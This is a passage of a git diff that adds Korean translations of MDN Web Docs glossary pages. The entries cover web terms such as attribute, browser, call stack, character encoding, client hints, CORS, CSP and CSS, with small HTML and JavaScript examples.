+<p>{{Interwiki("wikipedia", "ASCII")}} on Wikipedia</p>
diff --git a/files/ko/glossary/attribute/index.html b/files/ko/glossary/attribute/index.html
new file mode 100644
index 0000000000..b14d2ffbee
--- /dev/null
+++ b/files/ko/glossary/attribute/index.html
@@ -0,0 +1,32 @@
+---
+title: 특성
+slug: Glossary/Attribute
+tags:
+  - CodingScripting
+  - Glossary
+  - HTML
+translation_of: Glossary/Attribute
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
+
+<p><strong>특성</strong>(attribute)은 {{glossary("tag", "태그")}}를 확장해 동작 방식을 바꾸거나 메타데이터를 제공합니다.</p>
+
+<p>특성은 항상 <code>name="value"</code>의 형태를 따릅니다. (특성 식별자 뒤에 특성 값)</p>
+
+<p>등호 또는 값 없는 특성이 보일 때도 있습니다. {{glossary("HTML")}}에서는 빈 문자열을 제공하는 단축 표기법이고, {{glossary("XML")}}에서는 특성 이름을 제공하는 단축 표기법입니다.</p>
+
+<pre class="brush: html">&lt;input required&gt;
+&lt;!-- 다음과 같음 --&gt;
+&lt;input required=""&gt;
+&lt;!-- 다음과 같음 --&gt;
+&lt;input required="required"&gt;
+</pre>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="기술_참고서">기술 참고서</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Attributes">HTML 특성 참고서</a></li>
+ <li>HTML <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></li>
+</ul>
diff --git a/files/ko/glossary/bandwidth/index.html b/files/ko/glossary/bandwidth/index.html
new file mode 100644
index 0000000000..4f91a010bd
--- /dev/null
+++ b/files/ko/glossary/bandwidth/index.html
@@ -0,0 +1,15 @@
+---
+title: Bandwidth
+slug: Glossary/Bandwidth
+tags:
+  - 대역폭
+  - 용어사전
+translation_of: Glossary/Bandwidth
+---
+<p><span style="color: #252525; font-family: sans-serif; line-height: 22.3999996185303px;">대역폭은 주어진 시간 내에 얼마나 많은 정보가 데이터 연결을 통과 할 수 있는지를 나타냅니다. 대개 초당 메가 비트 (Mbps) 또는 초당 기가비트 (Gbps)와 같이 초당 비트 수 (bps)의 배수로 측정됩니다.</span></p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Bandwidth")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/block/css/index.html b/files/ko/glossary/block/css/index.html
new file mode 100644
index 0000000000..51f0e9115a
--- /dev/null
+++ b/files/ko/glossary/block/css/index.html
@@ -0,0 +1,24 @@
+---
+title: 블록 (CSS)
+slug: Glossary/Block/CSS
+tags:
+  - CSS
+  - CodingScripting
+  - Design
+  - Glossary
+  - HTML
+translation_of: Glossary/Block/CSS
+---
+<p>웹페이지의 <strong>블록</strong>은 {{glossary("HTML")}} {{glossary("element", "요소")}}로 새 줄에 표시된다. 즉, 가로 쓰기 모드에 속한 선행 요소 아래나 (<em>블록 수준 요소</em>로 통용되는) 후속 요소 위에 표시된다. 예를 들면, {{htmlelement("p")}}는 기본적으로 블록 수준 요소지만, {{htmlelement("a")}}는 <em>인라인 요소</em>이다. 당신의 에이치티엠엘 소스에서 여러 링크를 상대 요소 옆에 위치시킬 수 있고, 그것들을 렌더링 된 출력 형태로 상대 요소와 동일 선상에 놓는다.</p>
+
+<p>{{cssxref("display")}} 속성을 사용하면 요소가 (여러 다양한 옵션 중) 인라인으로 표시되는지 아니면 블록으로 표시되는지를 변경할 수 있으며, <strong>블록</strong> 역시 포지셔닝 체계의 영향과 {{cssxref("position")}} 속성 사용의 영향을 받는다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
diff --git a/files/ko/glossary/block/index.html b/files/ko/glossary/block/index.html
new file mode 100644
index 0000000000..8f17177e82
--- /dev/null
+++ b/files/ko/glossary/block/index.html
@@ -0,0 +1,13 @@
+---
+title: Block
+slug: Glossary/Block
+tags:
+  - Disambiguation
+  - Glossary
+  - NeedsTranslation
+  - TopicStub
+translation_of: Glossary/Block
+---
+<p>The term <strong>block</strong> can have several meanings depending on the context. It may refer to:</p>
+
+<p>{{GlossaryDisambiguation}}</p>
diff --git a/files/ko/glossary/browser/index.html b/files/ko/glossary/browser/index.html
new file mode 100644
index 0000000000..093879c392
--- /dev/null
+++ b/files/ko/glossary/browser/index.html
@@ -0,0 +1,41 @@
+---
+title: 브라우저
+slug: Glossary/Browser
+tags:
+  - Glossary
+  - Navigation
+translation_of: Glossary/Browser
+---
+<p><strong>웹 브라우저</strong> 또는 <strong>브라우저</strong>는 {{Glossary("World Wide Web","웹")}}에서 페이지를 찾아서 보여주고, 사용자가 {{Glossary("hyperlink","하이퍼링크")}}를 통해 다른 페이지로 이동할 수 있도록 하는 프로그램입니다. 브라우저는 가장 익숙한 타입의 {{Glossary("user agent", "사용자 에이전트")}}입니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="브라우저_다운로드">브라우저 다운로드</h3>
+
+<ul>
+ <li><a href="http://www.mozilla.org/ko/firefox/features/">Mozilla Firefox</a></li>
+ <li><a href="http://www.google.com/chrome/" rel="external">Google Chrome</a></li>
+ <li><a href="https://www.microsoft.com/windows/microsoft-edge" rel="external">Microsoft Edge</a></li>
+ <li><a href="http://www.opera.com/" rel="external">Opera Browser</a></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Glossary">MDN 웹 문서 용어 사전</a>
+
+  <ol>
+   <li>{{Glossary("user agent", "사용자 에이전트")}}</li>
+  </ol>
+ </li>
+ <li>General knowledge
+  <ol>
+   <li>위키백과 <a href="https://ko.wikipedia.org/wiki/%EC%9B%B9%20%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80">웹 브라우저</a></li>
+  </ol>
+ </li>
+ <li>HTTP 헤더
+  <ol>
+   <li>{{HTTPHeader("User-agent")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/call_stack/index.html b/files/ko/glossary/call_stack/index.html
new file mode 100644
index 0000000000..40ab2f4c99
--- /dev/null
+++ b/files/ko/glossary/call_stack/index.html
@@ -0,0 +1,84 @@
+---
+title: 호출 스택
+slug: Glossary/Call_stack
+tags:
+  - Glossary
+  - JavaScript
+  - 호출 스택
+translation_of: Glossary/Call_stack
+---
+<p><strong>호출 스택</strong>은 여러 함수들({{glossary("function","functions")}})을 호출하는 스크립트에서 해당 위치를 추적하는 인터프리터 (웹 브라우저의 자바스크립트 인터프리터같은)를 위한 메커니즘입니다. 현재 어떤 함수가 동작하고있는 지, 그 함수 내에서 어떤 함수가 동작하는 지, 다음에 어떤 함수가 호출되어야하는 지 등을 제어합니다.</p>
+
+<ul>
+ <li>스크립트가 함수를 호출하면 인터프리터는 이를 호출 스택에 추가한 다음 함수를 수행하기 시작합니다.</li>
+ <li>해당 함수에 의해 호출되는 모든 함수는 호출 스택에 추가되고 호출이 도달하는 위치에서 실행합니다.</li>
+ <li>메인 함수가 끝나면 인터프리터는 스택을 제거하고 메인 코드 목록에서 중단된 실행을 다시 시작합니다.</li>
+ <li>스택이 할당된 공간보다 많은 공간을 차지하면 "stack overflow" 에러가 발생합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">greeting</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="comment token">// [1] Some codes here</span>
+   <span class="function token">sayHi</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+   <span class="comment token">// [2] Some codes here</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">function</span> <span class="function token">sayHi</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="keyword token">return</span> <span class="string token">"Hi!"</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Invoke the `greeting` function</span>
+<span class="function token">greeting</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// [3] Some codes here</span></code></pre>
+
+<p>위 코드는 다음과 같이 실행될 것입니다.</p>
+
+<ol>
+ <li><code>greeting()</code> 함수에 도달할 때까지, 모든 함수를 무시합니다.</li>
+ <li><code>greeting()</code> 함수를 호출합니다.</li>
+ <li><code>greeting()</code> 함수를 호출 스택 리스트에 추가합니다.<br>
+
+  <div class="note">
+  <p>호출 스택 리스트:<br>
+   - greeting</p>
+  </div>
+ </li>
+ <li>`greeting` 함수 내부의 모든 코드를 실행합니다.</li>
+ <li><code>sayHi()</code> 함수를 얻습니다.</li>
+ <li><code>sayHi()</code> 함수를 호출 스택 리스트에 추가합니다.<br>
+
+  <div class="note">
+  <p>호출 스택 리스트:<br>
+   - greeting<br>
+   - sayHi</p>
+  </div>
+ </li>
+ <li><code>sayHi()</code> 함수의 끝에 도달할 때까지, 함수 내부의 모든 코드를 실행합니다.</li>
+ <li><code>sayHi()</code> 가 호출된 라인으로 돌아와 <code>greeting()</code> 함수의 나머지를 계속 실행합니다.</li>
+ <li>호출 스택 리스트에서 <code>sayHi()</code> 함수를 제거합니다.<br>
+
+  <div class="note">
+  <p>호출 스택 리스트:<br>
+   - greeting</p>
+  </div>
+ </li>
+ <li><code>greeting()</code> 함수 내부의 모든 코드가 실행되었을 때, 이를 호출한 라인으로 돌아와 JS 코드의 나머지를 계속 실행합니다.</li>
+ <li>호출 스택 리스트에서 <code>greeting()</code> 함수를 제거합니다.<br>
+
+  <div class="note">
+  <p>호출 스택 리스트:<br>
+   EMPTY</p>
+  </div>
+ </li>
+</ol>
+
+<p>우리는 빈 호출 스택으로 시작하며, 함수를 호출할 때마다 자동으로 호출 스택에 추가되고, 해당 코드가 모두 실행된 후, 호출 스택에서 자동으로 제거됩니다. 결국, 마찬가지로 빈 호출 스택으로 끝납니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Call stack")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/character/index.html b/files/ko/glossary/character/index.html
new file mode 100644
index 0000000000..8f38147f2f
--- /dev/null
+++ b/files/ko/glossary/character/index.html
@@ -0,0 +1,18 @@
+---
+title: Character
+slug: Glossary/Character
+translation_of: Glossary/Character
+---
+<p>문자는 기호(글자, 숫자, 문장 부호) 또는 비출력 "제어"(예: 캐리지 리턴 또는 소프트 하이픈)이다. {{glossary("UTF-8")}}은 가장 보편적인 문자 세트이며 유명한 인간 언어들의 문자를 포함한다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{interwiki("wikipedia", "Character (computing)")}} </li>
+ <li>Wikipedia의 {{interwiki("wikipedia", "Character encoding")}}</li>
+ <li>Wikipedia의 {{interwiki("wikipedia", "ASCII")}} </li>
+ <li>Wikipedia의 {{interwiki("wikipedia", "UTF-8")}} </li>
+ <li>Wikipedia의 {{interwiki("wikipedia", "Unicode")}}</li>
+</ul>
diff --git a/files/ko/glossary/character_encoding/index.html b/files/ko/glossary/character_encoding/index.html
new file mode 100644
index 0000000000..0670b18115
--- /dev/null
+++ b/files/ko/glossary/character_encoding/index.html
@@ -0,0 +1,23 @@
+---
+title: Character encoding
+slug: Glossary/character_encoding
+translation_of: Glossary/character_encoding
+---
+<p>인코딩은 바이트와 텍스트 간의 매핑을 정의한다. 바이트 시퀀스는 다양한 텍스트 해석을 허용한다. 특정 인코딩(예를 들면 UTF-8 등)을 지정함으로써 바이트 시퀀스를 해석하는 방법을 지정한다.</p>
+
+<p>예를 들어, HTML에서 우리는 일반적으로 아래 줄과 같이 UTF-8의 문자 인코딩을 선언한다 :</p>
+
+<div class="example">
+<pre class="brush: html"><code>&lt;meta charset="utf-8"&gt;</code></pre>
+
+<p>이것은 당신이 당신의 HTML 문서에서 인간 언어의 문자를 사용할 수 있도록 보장하며, 그것들은 신뢰성 있게 표시될 것이다.</p>
+</div>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/International/articles/definitions-characters/">Character encoding on W3C</a></li>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Character encoding")}} </li>
+</ul>
diff --git a/files/ko/glossary/character_set/index.html b/files/ko/glossary/character_set/index.html
new file mode 100644
index 0000000000..7c6d876238
--- /dev/null
+++ b/files/ko/glossary/character_set/index.html
@@ -0,0 +1,31 @@
+---
+title: Character set
+slug: Glossary/character_set
+translation_of: Glossary/character_set
+---
+<p><span class="seoSummary"><strong>문자 집합</strong> 은 문자, 숫자, 문장 부호, 공백 등의 </span>{{Glossary("Character", "문자")}}<span class="seoSummary">들을 재생하는 방법을 컴퓨터에 알려주는 인코딩 시스템이다.</span></p>
+
+<p>이전에, 각 나라들은 그들의 다양한 문자 사용 때문에 고유의 문자 집합(예를 들면 일본어를 위한 Kanji JIS 코드(예: Shift-JIS, EUC-JP 등), 전통 중국어를 위한 Big5, 러시아어를 위한 KOI8-R) 을 개발했다. 그러나, {{Glossary("Unicode")}}는 점차 보편적인 언어 지원을 위해 가장 수용 가능한 문자 집합이 된다.</p>
+
+<p>문자 집합이 잘못 사용된 경우(예: 빅5로 인코딩된 기사의 Unicode) {{Interwiki("wikipedia", "글자 깨짐")}}이라고 하는 끊어진 문자만 볼 수 있다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ol>
+ <li>Wikipedia articles
+  <ol>
+   <li>{{Interwiki("wikipedia", "Character encoding")}}</li>
+   <li>{{Interwiki("wikipedia", "문자 깨짐")}}</li>
+  </ol>
+ </li>
+ <li><a href="/en-US/docs/Glossary">Glossary</a>
+  <ol>
+   <li>{{Glossary("Character")}}</li>
+   <li>{{Glossary("Unicode")}}</li>
+  </ol>
+ </li>
+</ol>
+
+<section class="Quick_links" id="Quick_Links"></section>
diff --git a/files/ko/glossary/chrome/index.html b/files/ko/glossary/chrome/index.html
new file mode 100644
index 0000000000..1697c9e4c9
--- /dev/null
+++ b/files/ko/glossary/chrome/index.html
@@ -0,0 +1,12 @@
+---
+title: Chrome
+slug: Glossary/Chrome
+translation_of: Glossary/Chrome
+---
+<p>브라우저에서 크롬은 웹 페이지 자체(예: 도구 모음, 메뉴 바, 탭)를 제외하고 브라우저의 모든 가시적인 측면이다. 이것은 {{glossary("Google Chrome")}} 브라우저와 혼동해서는 안 된다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li><a href="http://www.nngroup.com/articles/browser-and-gui-chrome/">Browser and GUI Chrome</a></li>
+</ul>
diff --git a/files/ko/glossary/client_hints/index.html b/files/ko/glossary/client_hints/index.html
new file mode 100644
index 0000000000..50a6443523
--- /dev/null
+++ b/files/ko/glossary/client_hints/index.html
@@ -0,0 +1,41 @@
+---
+title: Client hints(클라이언트 힌트)
+slug: Glossary/Client_hints
+tags:
+  - Client hints
+  - Reference
+  - UA 대안
+  - User-agent
+  - 클라이언트 힌트
+translation_of: Glossary/Client_hints
+---
+<p><span class="seoSummary"><strong>Client Hints</strong>는 클라이언트 장치 및 에이전트별 기본 설정 목록을 확인할 수 있도록 사전 컨텐츠 체크를 위한  <a href="/en-US/docs/Web/HTTP/Headers">HTTP request header</a> 입니다. </span><a href="/en-US/docs/Web/HTTP/Headers#Client_hints">Client Hints</a>를 사용하면 이미지 <abbr title="device pixel ratio">DPR</abbr> 해상도의 자동 조절과 최적화 된 assets을 자동으로 적용할 수 있습니다.</p>
+
+<p>Client Hints는 자동으로 적용되는 것이 아닙니다 :  ClientHints를 지원한다고 선언하기 위해서 서버에서  <code><a href="https://tools.ietf.org/html/draft-grigorik-http-client-hints-03#section-2.2.1">Accept-CH</a></code> (accept client hints) header 또는 클라이언트에서 HTML Meta 태그의  <code><a href="/en-US/docs/Web/HTML/Element/meta#Attributes">http-equiv</a></code> 속성을 사용하여 선언해주어야 합니다.</p>
+
+<p><code>Accept-CH: <abbr title="device pixel ratio">DPR</abbr>, Width, Viewport-Width, Downlink</code></p>
+
+<p>또는</p>
+
+<p><code>&lt;meta http-equiv="Accept-CH" content="<abbr title="device pixel ratio">DPR</abbr>, Width, Viewport-Width, Downlink</code><code>"&gt;</code></p>
+
+<p>클라이언트가 <code>Accept-CH</code> header를 전달받게 되면 지원되는 경우, Client Hint header를 추가합니다. 예를 들어 위의 Accept-CH 예제를 기반으로 클라이언트는 모든 후속 요청에 DPR, Width, Viewport-Width 및 Downlink 헤더를 추가 할 수 있습니다.</p>
+
+<p>두 번째 예에서 서버는 Accept-CH 메타 태그를 설정하여 브라우저에 힌트를 제공합니다.</p>
+
+<p>일반적으로, Client Hints header를 가지고 개발자 또는 어플리케이션은 브라우저에게 장치 픽셀 비율, 뷰포트 너비 및 디스플레이 너비와 같은 서버 자체 정보를 제공하도록 할 수 있습니다. 그러면 클라이언트는 서버에 클라이언트 환경에 대한 정보를 제공할 수 있고, 서버는 해당 정보를 기반으로 전송할 리소스를 결정할 수도 있습니다.</p>
+
+<h2 id="Vary_Client_Hints">Vary Client Hints</h2>
+
+<p>다른 <a href="/en-US/docs/Web/HTTP/Headers#Client_hints">Client Hints</a>가 응답에 영향을 줄 수 있는 캐시를 전달하기 위해서는, <code><a href="/en-US/docs/Web/HTTP/Headers/Vary">Vary</a></code> HTTP header를 사용해야만 합니다.</p>
+
+<p id="Example_varying_response">응답 예시 :</p>
+
+<p><code>Vary: Accept, <abbr title="device pixel ratio">DPR</abbr>, Width, Viewport-Width, Downlink</code></p>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers#Client_hints">Client Hints headers</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary"><code>Vary</code> HTTP Header</a></li>
+</ul>
diff --git a/files/ko/glossary/compile/index.html b/files/ko/glossary/compile/index.html
new file mode 100644
index 0000000000..d7dbce7f34
--- /dev/null
+++ b/files/ko/glossary/compile/index.html
@@ -0,0 +1,28 @@
+---
+title: Compile
+slug: Glossary/Compile
+translation_of: Glossary/Compile
+---
+<p>컴파일(Compile)은 주어진 {{Glossary("computer programming", "language")}}로 작성된 컴퓨터 프로그램을 다른 언어의 동등한 프로그램으로 변환하는 프로세스입니다. 컴파일러는이 작업을 실행하는 소프트웨어입니다. 때로는이 작업을 "조립(assembling)"또는 "빌드(build)"라고도 합니다. 이 작업들은 보통 컴파일과 같은 것(예를 들면 바이너리 형식으로 패키지를 만드는 일) 이상의 작업을 수행합니다 .</p>
+
+<p>일반적으로 컴파일러는 C 또는 {{Glossary("Java")}} 와 같은 고급 언어를 CPU가 이해할 수 있는, 즉 어셈블리어와 같은 기계 언어로 변환합니다. 유사한 수준의 언어 사이에서 번역하는 일부 컴파일러를 트랜스파일러 또는 크로스 컴파일러 라고 합니다. 예를 들어 TypeScript에서 {{Glossary("JavaScript")}}로 컴파일합니다. 그것들은 생산성 도구로 간주됩니다.</p>
+
+<p>대부분의 컴파일러는 선행(AOT) 또는 적기(JIT)로 작업한다. 프로그래머로서, 당신은 보통 커맨드 라인이나 당신의  {{Glossary("IDE")}}에서 AOT 컴파일러를 호출한다. 가장 유명한 'gcc'가 그 한 예다.</p>
+
+<p>JIT compilers are usually transparent to you, used for performance. For instance in the browser: Firefox' <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> JavaScript Engine has a JIT built-in that will compile JavaScript in a website to machine code while you're viewing it so it runs faster. Projects like <a href="/en-US/docs/WebAssembly">WebAssembly</a> work on making this even better.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Compiler")}}</li>
+ <li>The <a href="https://gcc.gnu.org">GNU Compiler Collection (GCC)</a></li>
+</ul>
+
+<h3 id="Learning_resources">Learning resources</h3>
+
+<ul>
+ <li><a href="https://medium.com/basecs/a-deeper-inspection-into-compilation-and-interpretation-d98952ebc842">Base CS Introduction on Compilers</a></li>
+ <li><a href="http://stackoverflow.com/a/1672/133203">A big list of learning material on StackOverflow</a></li>
+</ul>
diff --git a/files/ko/glossary/computer_programming/index.html b/files/ko/glossary/computer_programming/index.html
new file mode 100644
index 0000000000..9f55b89212
--- /dev/null
+++ b/files/ko/glossary/computer_programming/index.html
@@ -0,0 +1,17 @@
+---
+title: Computer Programming
+slug: Glossary/Computer_Programming
+translation_of: Glossary/Computer_Programming
+---
+<p>컴퓨터 프로그래밍은 명령어 모음집을 작성하고 구성하는 과정이다. 이것들은 컴퓨터/소프트웨어 프로그램에게 컴퓨터가 이해하는 언어로 무엇을 해야 하는지 알려준다. 이러한 지침은 C++, Java, JavaScript, HTML, Python, Ruby, Rust와 같은 다양한 언어의 형태로 나온다.</p>
+
+<p>적절한 언어를 사용하면 모든 종류의 소프트웨어를 프로그래밍/생성할 수 있다. 이것의 예시에는 복잡한 계산을 하여 과학자들을 돕는 프로그램, 엄청난 양의 데이터를 저장하는 데이터베이스, 음악을 다운받을 수 있는 웹 사이트, 애니메이션 영화를 만들 수 있는 애니메이션 소프트웨어를 들 수 있다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Computer programming")}} </li>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_programming_languages">List of Programming Languages: Wikipedia</a></li>
+</ul>
diff --git a/files/ko/glossary/copyleft/index.html b/files/ko/glossary/copyleft/index.html
new file mode 100644
index 0000000000..41e744743c
--- /dev/null
+++ b/files/ko/glossary/copyleft/index.html
@@ -0,0 +1,14 @@
+---
+title: Copyleft
+slug: Glossary/Copyleft
+translation_of: Glossary/Copyleft
+---
+<p>Copyleft는 일반적으로 라이선스를 지칭하는 용어로서, 그러한 라이선스는 해당 저작물의 재배포가 원래 라이선스와 동일한 라이선스의 대상이 되어야 한다는 것을 나타내기 위해 사용된다. copyleft 라이선스의 예로는 GNU {{Glossary("GPL")}}(소프트웨어용)과 Creative Commons SA(Share Alike) 라이선스(예술 작품에서)가 있다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Copyleft")}} </li>
+</ul>
diff --git a/files/ko/glossary/cors/index.html b/files/ko/glossary/cors/index.html
new file mode 100644
index 0000000000..eff5b6ffdd
--- /dev/null
+++ b/files/ko/glossary/cors/index.html
@@ -0,0 +1,23 @@
+---
+title: CORS
+slug: Glossary/CORS
+translation_of: Glossary/CORS
+---
+<p>다른 도메인({{glossary("domain","domains")}})에서의 자원을 호출하는 행위에 제한이 없을 경우 안전하지 않습니다. <strong>CORS </strong>(Cross-Origin Resource Sharing)는 이렇게 시스템 수준에서 타 도메인 간 자원 호출을 승인하거나 차단하는 것을 결정하는 것입니다.</p>
+
+<p> </p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<h3 id="일반_참조">일반 참조</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a> on MDN</li>
+ <li>{{Interwiki("wikipedia", "Cross-origin resource sharing")}} on Wikipedia</li>
+</ul>
+
+<h3 id="기술_참조">기술 참조</h3>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/cors/">Specification</a> on W3C recommandation</li>
+</ul>
diff --git a/files/ko/glossary/cross_axis/index.html b/files/ko/glossary/cross_axis/index.html
new file mode 100644
index 0000000000..0824f20777
--- /dev/null
+++ b/files/ko/glossary/cross_axis/index.html
@@ -0,0 +1,72 @@
+---
+title: 교차축
+slug: Glossary/Cross_Axis
+tags:
+  - CSS
+  - Glossary
+  - flexbox
+translation_of: Glossary/Cross_Axis
+---
+<p>{{glossary("flexbox", "플렉스박스")}}에서, <strong>교차축</strong>이란 {{glossary("main axis", "주축")}}에 수직하는 축으로, {{cssxref("flex-direction")}}이 <code>row</code> 또는 <code>row-reverse</code> 인 경우 교차축은 열 방향을 따라갑니다.</p>
+
+<p><img alt="The cross axis runs down the column" src="https://mdn.mozillademos.org/files/15710/Basics3.png" style="display: block; height: 125px; margin: 0px auto; width: 666px;"></p>
+
+<p>주축이 <code>column</code> 또는 <code>column-reverse</code>인 경우 교차축은 행 방향을 따라갑니다.</p>
+
+<p><img alt="The cross axis runs along the row." src="https://mdn.mozillademos.org/files/15711/Basics4.png" style="display: block; height: 244px; margin: 0px auto; width: 523px;"></p>
+
+<p>아이템을 교차축에 대해 정렬할 땐 플렉스 컨테이너의 <code>align-items</code> 속성 또는 각각 아이템의<code>align-self</code> 속성을 사용합니다. 플렉스 컨테이너가 콘텐츠 여러 줄을 가졌고, 교차축에 남는 공간이 있다면 <code>align-content</code> 속성을 통해 열 간격을 조절할 수 있습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="속성_참고서">속성 참고서</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex")}}</li>
+</ul>
+</div>
+
+<h3 id="더_읽어보기">더 읽어보기</h3>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering wrapping of flex items</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Glossary">MDN Web Docs 용어 사전</a>
+
+  <ol>
+   <li>{{Glossary("Cross Axis", "교차축")}}</li>
+   <li>{{Glossary("Flex")}}</li>
+   <li>{{Glossary("Flex Container")}}</li>
+   <li>{{Glossary("Flex Item")}}</li>
+   <li>{{Glossary("Grid")}}</li>
+  </ol>
+ </li>
+ <li>관련 CSS 속성
+  <ol>
+   <li>{{cssxref("align-content")}}</li>
+   <li>{{cssxref("align-items")}}</li>
+   <li>{{cssxref("align-self")}}</li>
+   <li>{{cssxref("flex")}}</li>
+   <li>{{cssxref("flex-basis")}}</li>
+   <li>{{cssxref("flex-direction")}}</li>
+   <li>{{cssxref("flex-flow")}}</li>
+   <li>{{cssxref("flex-grow")}}</li>
+   <li>{{cssxref("flex-shrink")}}</li>
+   <li>{{cssxref("flex-wrap")}}</li>
+   <li>{{cssxref("justify-content")}}</li>
+   <li>{{cssxref("order")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/csp/index.html b/files/ko/glossary/csp/index.html
new file mode 100644
index 0000000000..3da729e2eb
--- /dev/null
+++ b/files/ko/glossary/csp/index.html
@@ -0,0 +1,22 @@
+---
+title: CSP
+slug: Glossary/CSP
+translation_of: Glossary/CSP
+---
+<p>CSP (Content Security Policy)는 {{Glossary("XSS")}}이나 데이터 주입과 같은 특정 웹사이트 관련 공격을 탐지 하거나 완화 하기 위해 사용된다.</p>
+
+<p>기본적인 구현은 <code>Content-Security-Policy</code>라고 불리는 {{Glossary("HTTP")}} 헤더를 기반으로 한다.</p>
+
+<h2 id="더_공부하기">더 공부하기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/Content_Security_Policy">Content Security Policy on Wikipedia</a></li>
+</ul>
+
+<h3 id="기술_지식">기술 지식</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Security/CSP">Content Security Policy documentation on MDN</a></li>
+</ul>
diff --git a/files/ko/glossary/css/index.html b/files/ko/glossary/css/index.html
new file mode 100644
index 0000000000..a788e8e697
--- /dev/null
+++ b/files/ko/glossary/css/index.html
@@ -0,0 +1,45 @@
+---
+title: CSS
+slug: Glossary/CSS
+tags:
+  - CSS
+  - CodingScripting
+  - Glossary
+  - Web
+  - 'l10n:priority'
+translation_of: Glossary/CSS
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
+
+<p><span class="seoSummary"><strong>CSS</strong>(Cascading Style Sheets, 종속형 스타일 시트)는 {{glossary("browser", "브라우저")}}에서 웹페이지의 외형을 결정하는 선언형 언어입니다.</span> 브라우저는 선택한 요소에 CSS 스타일 선언을 적용해 화면에 적절히 표현합니다. 하나의 스타일 선언은 속성과 그 값으로 이루어져 있습니다.</p>
+
